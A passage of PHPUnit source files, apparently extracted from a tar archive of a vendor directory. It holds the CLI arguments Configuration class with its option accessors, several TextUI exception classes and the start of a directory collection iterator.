$result['beStrictAboutResourceUsageDuringSmallTests'] = $arguments->beStrictAboutResourceUsageDuringSmallTests(); } if ($arguments->hasDefaultTimeLimit()) { $result['defaultTimeLimit'] = $arguments->defaultTimeLimit(); } if ($arguments->hasEnforceTimeLimit()) { $result['enforceTimeLimit'] = $arguments->enforceTimeLimit(); } if ($arguments->hasDisallowTodoAnnotatedTests()) { $result['disallowTodoAnnotatedTests'] = $arguments->disallowTodoAnnotatedTests(); } if ($arguments->hasReverseList()) { $result['reverseList'] = $arguments->reverseList(); } if ($arguments->hasCoverageFilter()) { $result['coverageFilter'] = $arguments->coverageFilter(); } if ($arguments->hasRandomOrderSeed()) { $result['randomOrderSeed'] = $arguments->randomOrderSeed(); } if ($arguments->hasXdebugFilterFile()) { $result['xdebugFilterFile'] = $arguments->xdebugFilterFile(); } return $result; } } res/readability/vendor/phpunit/phpunit/src/TextUI/CliArguments/Configuration.php000064400000131252147577714370024221 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\CliArguments; use PHPUnit\TextUI\XmlConfiguration\Extension; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit * @psalm-immutable */ final class Configuration { /** * @var ?string */ private $argument; /** * @var ?string */ private $atLeastVersion; /** * @var ?bool */ private $backupGlobals; /** * @var ?bool */ private $backupStaticAttributes; /** * @var ?bool */ private $beStrictAboutChangesToGlobalState; /** * @var ?bool */ private $beStrictAboutResourceUsageDuringSmallTests; /** * @var ?string */ private $bootstrap; /** * @var ?bool */ private $cacheResult; /** * @var ?string */ private $cacheResultFile; /** * @var ?bool */ private $checkVersion; /** * @var ?string */ private $colors; /** * @var null|int|string */ private $columns; /** * @var ?string */ private $configuration; /** * @var null|string[] */ private $coverageFilter; /** * @var ?string */ private $coverageClover; /** * @var ?string */ private $coverageCobertura; /** * @var ?string */ private $coverageCrap4J; /** * @var ?string */ private $coverageHtml; /** * @var ?string */ private $coveragePhp; /** * @var ?string */ private $coverageText; /** * @var ?bool */ private $coverageTextShowUncoveredFiles; /** * @var ?bool */ private $coverageTextShowOnlySummary; /** * @var ?string */ private $coverageXml; /** * @var ?bool */ private $pathCoverage; /** * @var ?string */ private $coverageCacheDirectory; /** * @var ?bool */ private $warmCoverageCache; /** * @var ?bool */ private $debug; /** * @var ?int */ private $defaultTimeLimit; /** * @var ?bool */ private $disableCodeCoverageIgnore; /** * @var ?bool */ private $disallowTestOutput; /** * @var ?bool */ private $disallowTodoAnnotatedTests; /** * @var ?bool */ private $enforceTimeLimit; /** * @var null|string[] */ private $excludeGroups; /** * @var ?int */ private $executionOrder; /** * @var ?int */ private $executionOrderDefects; /** * @var null|Extension[] */ private $extensions; /** * @var null|string[] */ private $unavailableExtensions; /** * @var ?bool */ private $failOnEmptyTestSuite; /** * @var ?bool */ private $failOnIncomplete; /** * @var ?bool */ private $failOnRisky; /** * @var ?bool */ private $failOnSkipped; /** * @var ?bool */ private $failOnWarning; /** * @var ?string */ private $filter; /** * @var ?bool */ private $generateConfiguration; /** * @var ?bool */ private $migrateConfiguration; /** * @var null|string[] */ private $groups; /** * @var null|string[] */ private $testsCovering; /** * @var null|string[] */ private $testsUsing; /** * @var ?bool */ private $help; /** * @var ?string */ private $includePath; /** * @var null|string[] */ private $iniSettings; /** * @var ?string */ private $junitLogfile; /** * @var ?bool */ private $listGroups; /** * @var ?bool */ private $listSuites; /** * @var ?bool */ private $listTests; /** * @var ?string */ private $listTestsXml; /** * @var ?string */ private $loader; /** * @var ?bool */ private $noCoverage; /** * @var ?bool */ private $noExtensions; /** * @var ?bool */ private $noInteraction; /** * @var ?bool */ private $noLogging; /** * @var ?string */ private $printer; /** * @var ?bool */ private $processIsolation; /** * @var ?int */ private $randomOrderSeed; /** * @var ?int */ private $repeat; /** * @var ?bool */ private $reportUselessTests; /** * @var ?bool */ private $resolveDependencies; /** * @var ?bool */ private $reverseList; /** * @var ?bool */ private $stderr; /** * @var ?bool */ private $strictCoverage; /** * @var ?bool */ private $stopOnDefect; /** * @var ?bool */ private $stopOnError; /** * @var ?bool */ private $stopOnFailure; /** * @var ?bool */ private $stopOnIncomplete; /** * @var ?bool */ private $stopOnRisky; /** * @var ?bool */ private $stopOnSkipped; /** * @var ?bool */ private $stopOnWarning; /** * @var ?string */ private $teamcityLogfile; /** * @var null|string[] */ private $testdoxExcludeGroups; /** * @var null|string[] */ private $testdoxGroups; /** * @var ?string */ private $testdoxHtmlFile; /** * @var ?string */ private $testdoxTextFile; /** * @var ?string */ private $testdoxXmlFile; /** * @var null|string[] */ private $testSuffixes; /** * @var ?string */ private $testSuite; /** * @var string[] */ private $unrecognizedOptions; /** * @var ?string */ private $unrecognizedOrderBy; /** * @var ?bool */ private $useDefaultConfiguration; /** * @var ?bool */ private $verbose; /** * @var ?bool */ private $version; /** * @var ?string */ private $xdebugFilterFile; /** * @param null|int|string $columns */ public function __construct(?string $argument, ?string $atLeastVersion, ?bool $backupGlobals, ?bool $backupStaticAttributes, ?bool $beStrictAboutChangesToGlobalState, ?bool $beStrictAboutResourceUsageDuringSmallTests, ?string $bootstrap, ?bool $cacheResult, ?string $cacheResultFile, ?bool $checkVersion, ?string $colors, $columns, ?string $configuration, ?string $coverageClover, ?string $coverageCobertura, ?string $coverageCrap4J, ?string $coverageHtml, ?string $coveragePhp, ?string $coverageText, ?bool $coverageTextShowUncoveredFiles, ?bool $coverageTextShowOnlySummary, ?string $coverageXml, ?bool $pathCoverage, ?string $coverageCacheDirectory, ?bool $warmCoverageCache, ?bool $debug, ?int $defaultTimeLimit, ?bool $disableCodeCoverageIgnore, ?bool $disallowTestOutput, ?bool $disallowTodoAnnotatedTests, ?bool $enforceTimeLimit, ?array $excludeGroups, ?int $executionOrder, ?int $executionOrderDefects, ?array $extensions, ?array $unavailableExtensions, ?bool $failOnEmptyTestSuite, ?bool $failOnIncomplete, ?bool $failOnRisky, ?bool $failOnSkipped, ?bool $failOnWarning, ?string $filter, ?bool $generateConfiguration, ?bool $migrateConfiguration, ?array $groups, ?array $testsCovering, ?array $testsUsing, ?bool $help, ?string $includePath, ?array $iniSettings, ?string $junitLogfile, ?bool $listGroups, ?bool $listSuites, ?bool $listTests, ?string $listTestsXml, ?string $loader, ?bool $noCoverage, ?bool $noExtensions, ?bool $noInteraction, ?bool $noLogging, ?string $printer, ?bool $processIsolation, ?int $randomOrderSeed, ?int $repeat, ?bool $reportUselessTests, ?bool $resolveDependencies, ?bool $reverseList, ?bool $stderr, ?bool $strictCoverage, ?bool $stopOnDefect, ?bool $stopOnError, ?bool $stopOnFailure, ?bool $stopOnIncomplete, ?bool $stopOnRisky, ?bool $stopOnSkipped, ?bool $stopOnWarning, ?string $teamcityLogfile, ?array $testdoxExcludeGroups, ?array $testdoxGroups, ?string $testdoxHtmlFile, ?string $testdoxTextFile, ?string $testdoxXmlFile, ?array $testSuffixes, ?string $testSuite, array $unrecognizedOptions, ?string $unrecognizedOrderBy, ?bool $useDefaultConfiguration, ?bool $verbose, ?bool $version, ?array $coverageFilter, ?string $xdebugFilterFile) { $this->argument = $argument; $this->atLeastVersion = $atLeastVersion; $this->backupGlobals = $backupGlobals; $this->backupStaticAttributes = $backupStaticAttributes; $this->beStrictAboutChangesToGlobalState = $beStrictAboutChangesToGlobalState; $this->beStrictAboutResourceUsageDuringSmallTests = $beStrictAboutResourceUsageDuringSmallTests; $this->bootstrap = $bootstrap; $this->cacheResult = $cacheResult; $this->cacheResultFile = $cacheResultFile; $this->checkVersion = $checkVersion; $this->colors = $colors; $this->columns = $columns; $this->configuration = $configuration; $this->coverageFilter = $coverageFilter; $this->coverageClover = $coverageClover; $this->coverageCobertura = $coverageCobertura; $this->coverageCrap4J = $coverageCrap4J; $this->coverageHtml = $coverageHtml; $this->coveragePhp = $coveragePhp; $this->coverageText = $coverageText; $this->coverageTextShowUncoveredFiles = $coverageTextShowUncoveredFiles; $this->coverageTextShowOnlySummary = $coverageTextShowOnlySummary; $this->coverageXml = $coverageXml; $this->pathCoverage = $pathCoverage; $this->coverageCacheDirectory = $coverageCacheDirectory; $this->warmCoverageCache = $warmCoverageCache; $this->debug = $debug; $this->defaultTimeLimit = $defaultTimeLimit; $this->disableCodeCoverageIgnore = $disableCodeCoverageIgnore; $this->disallowTestOutput = $disallowTestOutput; $this->disallowTodoAnnotatedTests = $disallowTodoAnnotatedTests; $this->enforceTimeLimit = $enforceTimeLimit; $this->excludeGroups = $excludeGroups; $this->executionOrder = $executionOrder; $this->executionOrderDefects = $executionOrderDefects; $this->extensions = $extensions; $this->unavailableExtensions = $unavailableExtensions; $this->failOnEmptyTestSuite = $failOnEmptyTestSuite; $this->failOnIncomplete = $failOnIncomplete; $this->failOnRisky = $failOnRisky; $this->failOnSkipped = $failOnSkipped; $this->failOnWarning = $failOnWarning; $this->filter = $filter; $this->generateConfiguration = $generateConfiguration; $this->migrateConfiguration = $migrateConfiguration; $this->groups = $groups; $this->testsCovering = $testsCovering; $this->testsUsing = $testsUsing; $this->help = $help; $this->includePath = $includePath; $this->iniSettings = $iniSettings; $this->junitLogfile = $junitLogfile; $this->listGroups = $listGroups; $this->listSuites = $listSuites; $this->listTests = $listTests; $this->listTestsXml = $listTestsXml; $this->loader = $loader; $this->noCoverage = $noCoverage; $this->noExtensions = $noExtensions; $this->noInteraction = $noInteraction; $this->noLogging = $noLogging; $this->printer = $printer; $this->processIsolation = $processIsolation; $this->randomOrderSeed = $randomOrderSeed; $this->repeat = $repeat; $this->reportUselessTests = $reportUselessTests; $this->resolveDependencies = $resolveDependencies; $this->reverseList = $reverseList; $this->stderr = $stderr; $this->strictCoverage = $strictCoverage; $this->stopOnDefect = $stopOnDefect; $this->stopOnError = $stopOnError; $this->stopOnFailure = $stopOnFailure; $this->stopOnIncomplete = $stopOnIncomplete; $this->stopOnRisky = $stopOnRisky; $this->stopOnSkipped = $stopOnSkipped; $this->stopOnWarning = $stopOnWarning; $this->teamcityLogfile = $teamcityLogfile; $this->testdoxExcludeGroups = $testdoxExcludeGroups; $this->testdoxGroups = $testdoxGroups; $this->testdoxHtmlFile = $testdoxHtmlFile; $this->testdoxTextFile = $testdoxTextFile; $this->testdoxXmlFile = $testdoxXmlFile; $this->testSuffixes = $testSuffixes; $this->testSuite = $testSuite; $this->unrecognizedOptions = $unrecognizedOptions; $this->unrecognizedOrderBy = $unrecognizedOrderBy; $this->useDefaultConfiguration = $useDefaultConfiguration; $this->verbose = $verbose; $this->version = $version; $this->xdebugFilterFile = $xdebugFilterFile; } public function hasArgument(): bool { return $this->argument !== null; } /** * @throws Exception */ public function argument(): string { if ($this->argument === null) { throw new Exception; } return $this->argument; } public function hasAtLeastVersion(): bool { return $this->atLeastVersion !== null; } /** * @throws Exception */ public function atLeastVersion(): string { if ($this->atLeastVersion === null) { throw new Exception; } return $this->atLeastVersion; } public function hasBackupGlobals(): bool { return $this->backupGlobals !== null; } /** * @throws Exception */ public function backupGlobals(): bool { if ($this->backupGlobals === null) { throw new Exception; } return $this->backupGlobals; } public function hasBackupStaticAttributes(): bool { return $this->backupStaticAttributes !== null; } /** * @throws Exception */ public function backupStaticAttributes(): bool { if ($this->backupStaticAttributes === null) { throw new Exception; } return $this->backupStaticAttributes; } public function hasBeStrictAboutChangesToGlobalState(): bool { return $this->beStrictAboutChangesToGlobalState !== null; } /** * @throws Exception */ public function beStrictAboutChangesToGlobalState(): bool { if ($this->beStrictAboutChangesToGlobalState === null) { throw new Exception; } return $this->beStrictAboutChangesToGlobalState; } public function hasBeStrictAboutResourceUsageDuringSmallTests(): bool { return $this->beStrictAboutResourceUsageDuringSmallTests !== null; } /** * @throws Exception */ public function beStrictAboutResourceUsageDuringSmallTests(): bool { if ($this->beStrictAboutResourceUsageDuringSmallTests === null) { throw new Exception; } return $this->beStrictAboutResourceUsageDuringSmallTests; } public function hasBootstrap(): bool { return $this->bootstrap !== null; } /** * @throws Exception */ public function bootstrap(): string { if ($this->bootstrap === null) { throw new Exception; } return $this->bootstrap; } public function hasCacheResult(): bool { return $this->cacheResult !== null; } /** * @throws Exception */ public function cacheResult(): bool { if ($this->cacheResult === null) { throw new Exception; } return $this->cacheResult; } public function hasCacheResultFile(): bool { return $this->cacheResultFile !== null; } /** * @throws Exception */ public function cacheResultFile(): string { if ($this->cacheResultFile === null) { throw new Exception; } return $this->cacheResultFile; } public function hasCheckVersion(): bool { return $this->checkVersion !== null; } /** * @throws Exception */ public function checkVersion(): bool { if ($this->checkVersion === null) { throw new Exception; } return $this->checkVersion; } public function hasColors(): bool { return $this->colors !== null; } /** * @throws Exception */ public function colors(): string { if ($this->colors === null) { throw new Exception; } return $this->colors; } public function hasColumns(): bool { return $this->columns !== null; } /** * @throws Exception */ public function columns() { if ($this->columns === null) { throw new Exception; } return $this->columns; } public function hasConfiguration(): bool { return $this->configuration !== null; } /** * @throws Exception */ public function configuration(): string { if ($this->configuration === null) { throw new Exception; } return $this->configuration; } public function hasCoverageFilter(): bool { return $this->coverageFilter !== null; } /** * @throws Exception */ public function coverageFilter(): array { if ($this->coverageFilter === null) { throw new Exception; } return $this->coverageFilter; } public function hasCoverageClover(): bool { return $this->coverageClover !== null; } /** * @throws Exception */ public function coverageClover(): string { if ($this->coverageClover === null) { throw new Exception; } return $this->coverageClover; } public function hasCoverageCobertura(): bool { return $this->coverageCobertura !== null; } /** * @throws Exception */ public function coverageCobertura(): string { if ($this->coverageCobertura === null) { throw new Exception; } return $this->coverageCobertura; } public function hasCoverageCrap4J(): bool { return $this->coverageCrap4J !== null; } /** * @throws Exception */ public function coverageCrap4J(): string { if ($this->coverageCrap4J === null) { throw new Exception; } return $this->coverageCrap4J; } public function hasCoverageHtml(): bool { return $this->coverageHtml !== null; } /** * @throws Exception */ public function coverageHtml(): string { if ($this->coverageHtml === null) { throw new Exception; } return $this->coverageHtml; } public function hasCoveragePhp(): bool { return $this->coveragePhp !== null; } /** * @throws Exception */ public function coveragePhp(): string { if ($this->coveragePhp === null) { throw new Exception; } return $this->coveragePhp; } public function hasCoverageText(): bool { return $this->coverageText !== null; } /** * @throws Exception */ public function coverageText(): string { if ($this->coverageText === null) { throw new Exception; } return $this->coverageText; } public function hasCoverageTextShowUncoveredFiles(): bool { return $this->coverageTextShowUncoveredFiles !== null; } /** * @throws Exception */ public function coverageTextShowUncoveredFiles(): bool { if ($this->coverageTextShowUncoveredFiles === null) { throw new Exception; } return $this->coverageTextShowUncoveredFiles; } public function hasCoverageTextShowOnlySummary(): bool { return $this->coverageTextShowOnlySummary !== null; } /** * @throws Exception */ public function coverageTextShowOnlySummary(): bool { if ($this->coverageTextShowOnlySummary === null) { throw new Exception; } return $this->coverageTextShowOnlySummary; } public function hasCoverageXml(): bool { return $this->coverageXml !== null; } /** * @throws Exception */ public function coverageXml(): string { if ($this->coverageXml === null) { throw new Exception; } return $this->coverageXml; } public function hasPathCoverage(): bool { return $this->pathCoverage !== null; } /** * @throws Exception */ public function pathCoverage(): bool { if ($this->pathCoverage === null) { throw new Exception; } return $this->pathCoverage; } public function hasCoverageCacheDirectory(): bool { return $this->coverageCacheDirectory !== null; } /** * @throws Exception */ public function coverageCacheDirectory(): string { if ($this->coverageCacheDirectory === null) { throw new Exception; } return $this->coverageCacheDirectory; } public function hasWarmCoverageCache(): bool { return $this->warmCoverageCache !== null; } /** * @throws Exception */ public function warmCoverageCache(): bool { if ($this->warmCoverageCache === null) { throw new Exception; } return $this->warmCoverageCache; } public function hasDebug(): bool { return $this->debug !== null; } /** * @throws Exception */ public function debug(): bool { if ($this->debug === null) { throw new Exception; } return $this->debug; } public function hasDefaultTimeLimit(): bool { return $this->defaultTimeLimit !== null; } /** * @throws Exception */ public function defaultTimeLimit(): int { if ($this->defaultTimeLimit === null) { throw new Exception; } return $this->defaultTimeLimit; } public function hasDisableCodeCoverageIgnore(): bool { return $this->disableCodeCoverageIgnore !== null; } /** * @throws Exception */ public function disableCodeCoverageIgnore(): bool { if ($this->disableCodeCoverageIgnore === null) { throw new Exception; } return $this->disableCodeCoverageIgnore; } public function hasDisallowTestOutput(): bool { return $this->disallowTestOutput !== null; } /** * @throws Exception */ public function disallowTestOutput(): bool { if ($this->disallowTestOutput === null) { throw new Exception; } return $this->disallowTestOutput; } public function hasDisallowTodoAnnotatedTests(): bool { return $this->disallowTodoAnnotatedTests !== null; } /** * @throws Exception */ public function disallowTodoAnnotatedTests(): bool { if ($this->disallowTodoAnnotatedTests === null) { throw new Exception; } return $this->disallowTodoAnnotatedTests; } public function hasEnforceTimeLimit(): bool { return $this->enforceTimeLimit !== null; } /** * @throws Exception */ public function enforceTimeLimit(): bool { if ($this->enforceTimeLimit === null) { throw new Exception; } return $this->enforceTimeLimit; } public function hasExcludeGroups(): bool { return $this->excludeGroups !== null; } /** * @throws Exception */ public function excludeGroups(): array { if ($this->excludeGroups === null) { throw new Exception; } return $this->excludeGroups; } public function hasExecutionOrder(): bool { return $this->executionOrder !== null; } /** * @throws Exception */ public function executionOrder(): int { if ($this->executionOrder === null) { throw new Exception; } return $this->executionOrder; } public function hasExecutionOrderDefects(): bool { return $this->executionOrderDefects !== null; } /** * @throws Exception */ public function executionOrderDefects(): int { if ($this->executionOrderDefects === null) { throw new Exception; } return $this->executionOrderDefects; } public function hasFailOnEmptyTestSuite(): bool { return $this->failOnEmptyTestSuite !== null; } /** * @throws Exception */ public function failOnEmptyTestSuite(): bool { if ($this->failOnEmptyTestSuite === null) { throw new Exception; } return $this->failOnEmptyTestSuite; } public function hasFailOnIncomplete(): bool { return $this->failOnIncomplete !== null; } /** * @throws Exception */ public function failOnIncomplete(): bool { if ($this->failOnIncomplete === null) { throw new Exception; } return $this->failOnIncomplete; } public function hasFailOnRisky(): bool { return $this->failOnRisky !== null; } /** * @throws Exception */ public function failOnRisky(): bool { if ($this->failOnRisky === null) { throw new Exception; } return $this->failOnRisky; } public function hasFailOnSkipped(): bool { return $this->failOnSkipped !== null; } /** * @throws Exception */ public function failOnSkipped(): bool { if ($this->failOnSkipped === null) { throw new Exception; } return $this->failOnSkipped; } public function hasFailOnWarning(): bool { return $this->failOnWarning !== null; } /** * @throws Exception */ public function failOnWarning(): bool { if ($this->failOnWarning === null) { throw new Exception; } return $this->failOnWarning; } public function hasFilter(): bool { return $this->filter !== null; } /** * @throws Exception */ public function filter(): string { if ($this->filter === null) { throw new Exception; } return $this->filter; } public function hasGenerateConfiguration(): bool { return $this->generateConfiguration !== null; } /** * @throws Exception */ public function generateConfiguration(): bool { if ($this->generateConfiguration === null) { throw new Exception; } return $this->generateConfiguration; } public function hasMigrateConfiguration(): bool { return $this->migrateConfiguration !== null; } /** * @throws Exception */ public function migrateConfiguration(): bool { if ($this->migrateConfiguration === null) { throw new Exception; } return $this->migrateConfiguration; } public function hasGroups(): bool { return $this->groups !== null; } /** * @throws Exception */ public function groups(): array { if ($this->groups === null) { throw new Exception; } return $this->groups; } public function hasTestsCovering(): bool { return $this->testsCovering !== null; } /** * @throws Exception */ public function testsCovering(): array { if ($this->testsCovering === null) { throw new Exception; } return $this->testsCovering; } public function hasTestsUsing(): bool { return $this->testsUsing !== null; } /** * @throws Exception */ public function testsUsing(): array { if ($this->testsUsing === null) { throw new Exception; } return $this->testsUsing; } public function hasHelp(): bool { return $this->help !== null; } /** * @throws Exception */ public function help(): bool { if ($this->help === null) { throw new Exception; } return $this->help; } public function hasIncludePath(): bool { return $this->includePath !== null; } /** * @throws Exception */ public function includePath(): string { if ($this->includePath === null) { throw new Exception; } return $this->includePath; } public function hasIniSettings(): bool { return $this->iniSettings !== null; } /** * @throws Exception */ public function iniSettings(): array { if ($this->iniSettings === null) { throw new Exception; } return $this->iniSettings; } public function hasJunitLogfile(): bool { return $this->junitLogfile !== null; } /** * @throws Exception */ public function junitLogfile(): string { if ($this->junitLogfile === null) { throw new Exception; } return $this->junitLogfile; } public function hasListGroups(): bool { return $this->listGroups !== null; } /** * @throws Exception */ public function listGroups(): bool { if ($this->listGroups === null) { throw new Exception; } return $this->listGroups; } public function hasListSuites(): bool { return $this->listSuites !== null; } /** * @throws Exception */ public function listSuites(): bool { if ($this->listSuites === null) { throw new Exception; } return $this->listSuites; } public function hasListTests(): bool { return $this->listTests !== null; } /** * @throws Exception */ public function listTests(): bool { if ($this->listTests === null) { throw new Exception; } return $this->listTests; } public function hasListTestsXml(): bool { return $this->listTestsXml !== null; } /** * @throws Exception */ public function listTestsXml(): string { if ($this->listTestsXml === null) { throw new Exception; } return $this->listTestsXml; } public function hasLoader(): bool { return $this->loader !== null; } /** * @throws Exception */ public function loader(): string { if ($this->loader === null) { throw new Exception; } return $this->loader; } public function hasNoCoverage(): bool { return $this->noCoverage !== null; } /** * @throws Exception */ public function noCoverage(): bool { if ($this->noCoverage === null) { throw new Exception; } return $this->noCoverage; } public function hasNoExtensions(): bool { return $this->noExtensions !== null; } /** * @throws Exception */ public function noExtensions(): bool { if ($this->noExtensions === null) { throw new Exception; } return $this->noExtensions; } public function hasExtensions(): bool { return $this->extensions !== null; } /** * @throws Exception */ public function extensions(): array { if ($this->extensions === null) { throw new Exception; } return $this->extensions; } public function hasUnavailableExtensions(): bool { return $this->unavailableExtensions !== null; } /** * @throws Exception */ public function unavailableExtensions(): array { if ($this->unavailableExtensions === null) { throw new Exception; } return $this->unavailableExtensions; } public function hasNoInteraction(): bool { return $this->noInteraction !== null; } /** * @throws Exception */ public function noInteraction(): bool { if ($this->noInteraction === null) { throw new Exception; } return $this->noInteraction; } public function hasNoLogging(): bool { return $this->noLogging !== null; } /** * @throws Exception */ public function noLogging(): bool { if ($this->noLogging === null) { throw new Exception; } return $this->noLogging; } public function hasPrinter(): bool { return $this->printer !== null; } /** * @throws Exception */ public function printer(): string { if ($this->printer === null) { throw new Exception; } return $this->printer; } public function hasProcessIsolation(): bool { return $this->processIsolation !== null; } /** * @throws Exception */ public function processIsolation(): bool { if ($this->processIsolation === null) { throw new Exception; } return $this->processIsolation; } public function hasRandomOrderSeed(): bool { return $this->randomOrderSeed !== null; } /** * @throws Exception */ public function randomOrderSeed(): int { if ($this->randomOrderSeed === null) { throw new Exception; } return $this->randomOrderSeed; } public function hasRepeat(): bool { return $this->repeat !== null; } /** * @throws Exception */ public function repeat(): int { if ($this->repeat === null) { throw new Exception; } return $this->repeat; } public function hasReportUselessTests(): bool { return $this->reportUselessTests !== null; } /** * @throws Exception */ public function reportUselessTests(): bool { if ($this->reportUselessTests === null) { throw new Exception; } return $this->reportUselessTests; } public function hasResolveDependencies(): bool { return $this->resolveDependencies !== null; } /** * @throws Exception */ public function resolveDependencies(): bool { if ($this->resolveDependencies === null) { throw new Exception; } return $this->resolveDependencies; } public function hasReverseList(): bool { return $this->reverseList !== null; } /** * @throws Exception */ public function reverseList(): bool { if ($this->reverseList === null) { throw new Exception; } return $this->reverseList; } public function hasStderr(): bool { return $this->stderr !== null; } /** * @throws Exception */ public function stderr(): bool { if ($this->stderr === null) { throw new Exception; } return $this->stderr; } public function hasStrictCoverage(): bool { return $this->strictCoverage !== null; } /** * @throws Exception */ public function strictCoverage(): bool { if ($this->strictCoverage === null) { throw new Exception; } return $this->strictCoverage; } public function hasStopOnDefect(): bool { return $this->stopOnDefect !== null; } /** * @throws Exception */ public function stopOnDefect(): bool { if ($this->stopOnDefect === null) { throw new Exception; } return $this->stopOnDefect; } public function hasStopOnError(): bool { return $this->stopOnError !== null; } /** * @throws Exception */ public function stopOnError(): bool { if ($this->stopOnError === null) { throw new Exception; } return $this->stopOnError; } public function hasStopOnFailure(): bool { return $this->stopOnFailure !== null; } /** * @throws Exception */ public function stopOnFailure(): bool { if ($this->stopOnFailure === null) { throw new Exception; } return $this->stopOnFailure; } public function hasStopOnIncomplete(): bool { return $this->stopOnIncomplete !== null; } /** * @throws Exception */ public function stopOnIncomplete(): bool { if ($this->stopOnIncomplete === null) { throw new Exception; } return $this->stopOnIncomplete; } public function hasStopOnRisky(): bool { return $this->stopOnRisky !== null; } /** * @throws Exception */ public function stopOnRisky(): bool { if ($this->stopOnRisky === null) { throw new Exception; } return $this->stopOnRisky; } public function hasStopOnSkipped(): bool { return $this->stopOnSkipped !== null; } /** * @throws Exception */ public function stopOnSkipped(): bool { if ($this->stopOnSkipped === null) { throw new Exception; } return $this->stopOnSkipped; } public function hasStopOnWarning(): bool { return $this->stopOnWarning !== null; } /** * @throws Exception */ public function stopOnWarning(): bool { if ($this->stopOnWarning === null) { throw new Exception; } return $this->stopOnWarning; } public function hasTeamcityLogfile(): bool { return $this->teamcityLogfile !== null; } /** * @throws Exception */ public function teamcityLogfile(): string { if ($this->teamcityLogfile === null) { throw new Exception; } return $this->teamcityLogfile; } public function hasTestdoxExcludeGroups(): bool { return $this->testdoxExcludeGroups !== null; } /** * @throws Exception */ public function testdoxExcludeGroups(): array { if ($this->testdoxExcludeGroups === null) { throw new Exception; } return $this->testdoxExcludeGroups; } public function hasTestdoxGroups(): bool { return $this->testdoxGroups !== null; } /** * @throws Exception */ public function testdoxGroups(): array { if ($this->testdoxGroups === null) { throw new Exception; } return $this->testdoxGroups; } public function hasTestdoxHtmlFile(): bool { return $this->testdoxHtmlFile !== null; } /** * @throws Exception */ public function testdoxHtmlFile(): string { if ($this->testdoxHtmlFile === null) { throw new Exception; } return $this->testdoxHtmlFile; } public function hasTestdoxTextFile(): bool { return $this->testdoxTextFile !== null; } /** * @throws Exception */ public function testdoxTextFile(): string { if ($this->testdoxTextFile === null) { throw new Exception; } return $this->testdoxTextFile; } public function hasTestdoxXmlFile(): bool { return $this->testdoxXmlFile !== null; } /** * @throws Exception */ public function testdoxXmlFile(): string { if ($this->testdoxXmlFile === null) { throw new Exception; } return $this->testdoxXmlFile; } public function hasTestSuffixes(): bool { return $this->testSuffixes !== null; } /** * @throws Exception */ public function testSuffixes(): array { if ($this->testSuffixes === null) { throw new Exception; } return $this->testSuffixes; } public function hasTestSuite(): bool { return $this->testSuite !== null; } /** * @throws Exception */ public function testSuite(): string { if ($this->testSuite === null) { throw new Exception; } return $this->testSuite; } public function unrecognizedOptions(): array { return $this->unrecognizedOptions; } public function hasUnrecognizedOrderBy(): bool { return $this->unrecognizedOrderBy !== null; } /** * @throws Exception */ public function unrecognizedOrderBy(): string { if ($this->unrecognizedOrderBy === null) { throw new Exception; } return $this->unrecognizedOrderBy; } public function hasUseDefaultConfiguration(): bool { return $this->useDefaultConfiguration !== null; } /** * @throws Exception */ public function useDefaultConfiguration(): bool { if ($this->useDefaultConfiguration === null) { throw new Exception; } return $this->useDefaultConfiguration; } public function hasVerbose(): bool { return $this->verbose !== null; } /** * @throws Exception */ public function verbose(): bool { if ($this->verbose === null) { throw new Exception; } return $this->verbose; } public function hasVersion(): bool { return $this->version !== null; } /** * @throws Exception */ public function version(): bool { if ($this->version === null) { throw new Exception; } return $this->version; } public function hasXdebugFilterFile(): bool { return $this->xdebugFilterFile !== null; } /** * @throws Exception */ public function xdebugFilterFile(): string { if ($this->xdebugFilterFile === null) { throw new Exception; } return $this->xdebugFilterFile; } } res/readability/vendor/phpunit/phpunit/src/TextUI/CliArguments/Exception.php000064400000000756147577714370023354 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\CliArguments; use RuntimeException; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Exception extends RuntimeException implements \PHPUnit\Exception { } res/readability/vendor/phpunit/phpunit/src/TextUI/Exception/RuntimeException.php000064400000000715147577714370024254 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI; /** * @internal This interface is not covered by the backward compatibility promise for PHPUnit */ final class RuntimeException extends \RuntimeException implements Exception { } res/readability/vendor/phpunit/phpunit/src/TextUI/Exception/TestDirectoryNotFoundException.php000064400000001323147577714370027106 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI; use function sprintf; use RuntimeException; /** * @internal This interface is not covered by the backward compatibility promise for PHPUnit */ final class TestDirectoryNotFoundException extends RuntimeException implements Exception { public function __construct(string $path) { parent::__construct( sprintf( 'Test directory "%s" not found', $path ) ); } } res/readability/vendor/phpunit/phpunit/src/TextUI/Exception/TestFileNotFoundException.php000064400000001311147577714370026016 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI; use function sprintf; use RuntimeException; /** * @internal This interface is not covered by the backward compatibility promise for PHPUnit */ final class TestFileNotFoundException extends RuntimeException implements Exception { public function __construct(string $path) { parent::__construct( sprintf( 'Test file "%s" not found', $path ) ); } } res/readability/vendor/phpunit/phpunit/src/TextUI/Exception/ReflectionException.php000064400000000746147577714370024727 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI; use RuntimeException; /** * @internal This interface is not covered by the backward compatibility promise for PHPUnit */ final class ReflectionException extends RuntimeException implements Exception { } res/readability/vendor/phpunit/phpunit/src/TextUI/Exception/Exception.php000064400000000667147577714370022716 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI; use Throwable; /** * @internal This interface is not covered by the backward compatibility promise for PHPUnit */ interface Exception extends Throwable { } phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Filter/DirectoryCollectionIterator.php000064400000002502147577714370033466 0ustar00res/readability/vendor * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Filter; use function count; use function iterator_count; use Countable; use Iterator; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class DirectoryCollectionIterator implements Countable, Iterator { /** * @var Directory[] */ private $directories; /** * @var int */ private $position; 